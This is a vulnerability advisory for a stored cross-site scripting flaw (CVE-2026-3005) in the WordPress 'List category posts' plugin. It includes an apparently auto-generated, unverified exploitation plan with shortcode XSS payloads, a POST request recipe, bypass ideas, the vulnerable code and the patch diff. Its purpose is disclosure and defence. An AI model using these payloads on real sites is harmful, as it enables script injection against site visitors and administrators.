CVE-2026-3005

List category posts <= 0.94.0 - Authenticated (Author+) Stored Cross-Site Scripting via 'catlist' Shortcode

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
0.95.0
Patched in
2d
Time to patch

Description

The List category posts plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'catlist' shortcode in all versions up to, and including, 0.94.0 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=0.94.0
PublishedApril 8, 2026
Last updatedApril 9, 2026
Affected pluginlist-category-posts

What Changed in the Fix

Changes introduced in v0.95.0

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-3005 (List Category Posts) ## 1. Vulnerability Summary The **List category posts** plugin for WordPress (versions <= 0.94.0) is vulnerable to Stored Cross-Site Scripting (XSS) via the `[catlist]` shortcode. The vulnerability arises from insufficient sanitizati…

Show full research plan

Exploitation Research Plan: CVE-2026-3005 (List Category Posts)

1. Vulnerability Summary

The List category posts plugin for WordPress (versions <= 0.94.0) is vulnerable to Stored Cross-Site Scripting (XSS) via the [catlist] shortcode. The vulnerability arises from insufficient sanitization and escaping of attributes like _class and _tag within the shortcode processing logic. While the developer began hardening these attributes in version 0.94.0 (specifically for thumbnail_class), several other attributes remain unescaped when rendered in the HTML output, allowing authenticated users with "Author" or "Contributor" privileges to inject malicious scripts into pages.

2. Attack Vector Analysis

  • Endpoint/Hook: The vulnerability is triggered by the [catlist] shortcode, which is registered in list-category-posts.php via add_shortcode('catlist', array('ListCategoryPosts', 'catlist_func')).
  • Payload Carry: The payload is carried within shortcode attributes, specifically those related to CSS classes and HTML tags (e.g., date_class, author_class, excerpt_class, catlink_class).
  • Authentication Level: Author or above (though Contributor is often sufficient for XSS if an admin previews the post). The CVE specifies Author+ for the stored nature of the exploit.
  • Preconditions: The attacker must be able to create or edit a post/page and insert shortcodes.

3. Code Flow

  1. Entry Point: list-category-posts.php -> ListCategoryPosts::catlist_func($atts)
    • This function calls shortcode_atts() to parse the user-supplied attributes.
  2. Processing: include/lcp-catlistdisplayer.php -> CatListDisplayer::__construct($atts)
    • The attributes are stored in $this->params.
  3. Rendering Preparation: CatListDisplayer::display() -> CatListDisplayer::create_output()
    • This triggers the loading of a template via require $this->templater->get_template();.
  4. Attribute Retrieval: CatListDisplayer::content_getter($type, $post, $tag, $css_class)
    • Line 144: $css_class = $this->params[$type . '_class'] ?: $css_class;
    • This method retrieves the user-supplied class for types like date, author, or excerpt.
  5. Vulnerable Sink (Inferred): The $css_class is passed to rendering methods in the CatList or LcpWrapper classes (not provided, but referenced). These classes construct the HTML tags. For example, a date might be wrapped as <span class="[USER_INPUT]">...</span>. If [USER_INPUT] is not passed through esc_attr(), XSS occurs.
    • Note: include/lcp-thumbnail.php (v0.94.0) shows LcpUtils::sanitize_html_classes($lcp_thumb_class) being used, but the changelog indicates this was the specific fix for version 0.94.0, suggesting other classes like date_class were overlooked.

4. Nonce Acquisition Strategy

This vulnerability does not require a nonce to exploit the rendering path. The [catlist] shortcode is a standard WordPress shortcode. The exploit is "Stored" because the shortcode itself is saved in the post content.

  • The attacker uses the standard WordPress post creation/editing interface (wp-admin/post.php or wp-admin/admin-ajax.php).
  • These interfaces do require nonces (_wpnonce), but these are standard WordPress nonces available to any logged-in user with post-editing capabilities.

5. Exploitation Strategy

The goal is to insert a [catlist] shortcode with a malicious date_class attribute that breaks out of the HTML class attribute.

  1. Preparation: Log in as an Author user.
  2. Payload Injection: Create a new post with the following content:
    [catlist date=yes date_class='"><script>alert(document.domain)</script>']
    
    Alternatively, using an event handler to be more stealthy:
    [catlist date=yes date_class='x" onmouseover="alert(1)" style="display:block;width:100px;height:100px;background:red']
    
  3. Request Construction:
    • URL: http://[TARGET]/wp-admin/post-new.php (to get the initial nonce) then POST to http://[TARGET]/wp-admin/post.php.
    • Method: POST
    • Headers: Content-Type: application/x-www-form-urlencoded
    • Body Parameters:
      • action: editpost
      • post_ID: [POST_ID]
      • post_title: XSS Test
      • content: [catlist date=yes date_class='"><script>alert(document.domain)</script>']
      • post_status: publish
      • _wpnonce: [NONCE_FROM_PAGE]

6. Test Data Setup

  1. User Creation: Create an Author user.
    wp user create attacker attacker@example.com --role=author --user_pass=password123
    
  2. Category/Post Creation: Ensure at least one category and one post exist so [catlist] has something to display (otherwise the date won't render).
    wp post create --post_type=post --post_title="Victim Post" --post_status=publish
    

7. Expected Results

  • When the published post is viewed, the shortcode will execute.
  • The output HTML will look similar to:
    <span class=""><script>alert(document.domain)</script>">October 26, 2023</span>
    
  • An alert box showing the document domain will appear in the browser.

8. Verification Steps

  1. Browser Check: Navigate to the URL of the created post and check for the alert.
  2. HTML Source Check: View the source code of the rendered page and search for the payload.
    # Using http_request to check the rendered HTML
    # Look for: <span class=""><script>alert(document.domain)</script>
    
  3. Database Check: Use WP-CLI to confirm the payload is stored correctly in the post_content.
    wp post get [POST_ID] --field=post_content
    

9. Alternative Approaches

If date_class is escaped, try other attributes known to use the same content_getter pattern in include/lcp-catlistdisplayer.php:

  • author_class
  • excerpt_class
  • comments_class
  • catlink_class
  • conditional_title_class
  • posts_morelink_class (Line 144 identifies this as a potential target).

Also, test _tag attributes (e.g., date_tag='script'). While the changelog for 0.90.2 claims to prevent script tags, check if case-insensitive bypasses work (e.g., date_tag='SCRIPT') or if other dangerous tags are allowed.

Research Findings
Static analysis — not yet PoC-verified

Summary

The List category posts plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'catlist' shortcode in versions up to 0.94.0. This occurs due to insufficient input sanitization and output escaping on shortcode attributes such as 'date_class', 'author_class', and thumbnail parameters, allowing authenticated attackers with Author-level access or higher to inject arbitrary JavaScript.

Vulnerable Code

// include/lcp-catlistdisplayer.php (approx line 142)
private function content_getter($type, $post, $tag = null, $css_class = null) {
  // Shortcode parameters take precedence over function arguments
  // for tags and classes. 'posts_morelink_tag' param doesn't exist
  if ($type !== 'posts_morelink') $tag = $this->params[$type . '_tag'] ?: $tag;
  $css_class = $this->params[$type . '_class'] ?: $css_class;

---

// include/lcp-thumbnail.php (approx line 99)
$imageurl = "http://i.ytimg.com/vi/{$matches[3]}/1.jpg";
}

$lcp_ytimage = '<img src="' . $imageurl . '" alt="' . $single->post_title . '" />';

if ($lcp_thumb_class != null){
  $thmbn_class = ' class="' . LcpUtils::sanitize_html_classes($lcp_thumb_class) . '" />';
  $lcp_ytimage = preg_replace("/\>/", $thmbn_class, $lcp_ytimage);

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/list-category-posts/0.94.0/CHANGELOG.md /home/deploy/wp-safety.org/data/plugin-versions/list-category-posts/0.95.0/CHANGELOG.md
--- /home/deploy/wp-safety.org/data/plugin-versions/list-category-posts/0.94.0/CHANGELOG.md	2026-02-16 20:33:42.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/list-category-posts/0.95.0/CHANGELOG.md	2026-03-14 21:07:06.000000000 +0000
@@ -1,5 +1,11 @@
 # CHANGELOG
 
+## 0.95.0
+
+* Bugfix: Removes double slash in pagination code. Fixes [#531](https://github.com/picandocodigo/List-Category-Posts/issues/531).
+* Addresses potential security vulnerability CVE-2026-3005
+* Bugfix: lcp_title_limit corrupts multibyte characters in fallback path. Fixes [#549](https://github.com/picandocodigo/List-Category-Posts/issues/549). Thanks @jmingau for the report and fix!
+
 ## 0.94.0
 
 * Addresses CVE-2026-0553.
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/list-category-posts/0.94.0/include/lcp-catlistdisplayer.php /home/deploy/wp-safety.org/data/plugin-versions/list-category-posts/0.95.0/include/lcp-catlistdisplayer.php
--- /home/deploy/wp-safety.org/data/plugin-versions/list-category-posts/0.94.0/include/lcp-catlistdisplayer.php	2024-12-16 19:58:50.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/list-category-posts/0.95.0/include/lcp-catlistdisplayer.php	2026-03-14 21:07:06.000000000 +0000
@@ -297,11 +297,22 @@
   private function lcp_title_limit( $lcp_post_title ){
     if ( !empty($this->params['title_limit']) && $this->params['title_limit'] !== "0" ){
       $title_limit = intval($this->params['title_limit']);
-      if( function_exists('mb_strlen') && function_exists('mb_substr') && mb_strlen($lcp_post_title) > $title_limit ){
-        $lcp_post_title = mb_substr($lcp_post_title, 0, $title_limit) . "&hellip;";
+      // Safe multibyte path
+      if( function_exists('mb_strlen') && function_exists('mb_substr') ) {
+        if( mb_strlen($lcp_post_title) > $title_limit ){
+          $lcp_post_title = mb_substr($lcp_post_title, 0, $title_limit) . "&hellip;";
+        }
       } else {
-        if( strlen($lcp_post_title) > $title_limit ){
-          $lcp_post_title = substr($lcp_post_title, 0, $title_limit) . "&hellip;";
+        // Fallback: use iconv if available
+        if( function_exists('iconv_strlen') && function_exists('iconv_substr')) {
+          if( iconv_strlen($lcp_post_title, 'UTF-8') > $title_limit ){
+            $lcp_post_title = iconv_substr($lcp_post_title, 0, $title_limit, 'UTF-8') . "&hellip;";
+          }
+        } else {
+          // Last resort: byte-based (may corrupt multibyte chars)
+          if( strlen($lcp_post_title) > $title_limit ){
+            $lcp_post_title = substr($lcp_post_title, 0, $title_limit) . "&hellip;";
+          }
         }
       }
     }
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/list-category-posts/0.94.0/include/lcp-thumbnail.php /home/deploy/wp-safety.org/data/plugin-versions/list-category-posts/0.95.0/include/lcp-thumbnail.php
--- /home/deploy/wp-safety.org/data/plugin-versions/list-category-posts/0.94.0/include/lcp-thumbnail.php	2026-02-16 20:33:42.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/list-category-posts/0.95.0/include/lcp-thumbnail.php	2026-03-14 21:07:06.000000000 +0000
@@ -89,16 +89,17 @@
       $youtubeurl = $matches[0];
 
       if ($youtubeurl){
-        $imageurl = "http://i.ytimg.com/vi/{$matches[3]}/1.jpg";
+        $imageurl = "https://i.ytimg.com/vi/{$matches[3]}/1.jpg";
       }
 
-      $lcp_ytimage = '<img src="' . $imageurl . '" alt="' . $single->post_title . '" />';
+      $lcp_ytimage = '<img src="' . esc_url($imageurl) .
+        '" alt="' . esc_attr($single->post_title) . '" />';
 
       if ($lcp_thumb_class != null){
         $thmbn_class = ' class="' . LcpUtils::sanitize_html_classes($lcp_thumb_class) . '" />';
         $lcp_ytimage = preg_replace("/\>/", $thmbn_class, $lcp_ytimage);
       }
-      return '<a href="' . get_permalink($single->ID).'">' . $lcp_ytimage . '</a>';
+      return '<a href="' . esc_url(get_permalink($single->ID)) . '">' . $lcp_ytimage . '</a>';
     }
   }
 }
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/list-category-posts/0.94.0/list-category-posts.php /home/deploy/wp-safety.org/data/plugin-versions/list-category-posts/0.95.0/list-category-posts.php
--- /home/deploy/wp-safety.org/data/plugin-versions/list-category-posts/0.94.0/list-category-posts.php	2026-02-16 20:33:42.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/list-category-posts/0.95.0/list-category-posts.php	2026-03-14 21:07:06.000000000 +0000
@@ -3,7 +3,7 @@
   Plugin Name: List category posts
   Plugin URI: https://github.com/picandocodigo/List-Category-Posts
   Description: List Category Posts allows you to list posts by category in a post/page using the [catlist] shortcode. This shortcode accepts a category name or id, the order in which you want the posts to display, the number of posts to display and many more parameters. You can use [catlist] as many times as needed with different arguments. Usage: [catlist argument1=value1 argument2=value2].
-  Version: 0.94.0
+  Version: 0.95.0
   Author: Fernando Briano
   Author URI: http://fernandobriano.com
 
@@ -238,7 +238,7 @@
   } elseif ( @file_exists( get_template_directory() . '/lcp_paginator.css' ) ) {
     $css_file = get_template_directory_uri() . '/lcp_paginator.css';
   } else {
-    $css_file = plugin_dir_url(__FILE__) . '/lcp_paginator.css';
+    $css_file = plugin_dir_url(__FILE__) . 'lcp_paginator.css';
   }
 
   wp_enqueue_style( 'lcp_paginator', $css_file);

Exploit Outline

To exploit this vulnerability, an authenticated user with Author or Contributor privileges can inject a malicious payload through the attributes of the `[catlist]` shortcode. By creating or editing a post, the attacker inserts a shortcode such as `[catlist date=yes date_class='"><script>alert(1)</script>']`. The plugin's `CatListDisplayer` class retrieves these attributes and, for several types, fails to escape them before rendering the final HTML. When any user (including administrators) views the published post, the injected script will execute in their browser context. The attack can also be performed via thumbnail-related attributes if those are rendered unescaped in the specific template being used.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.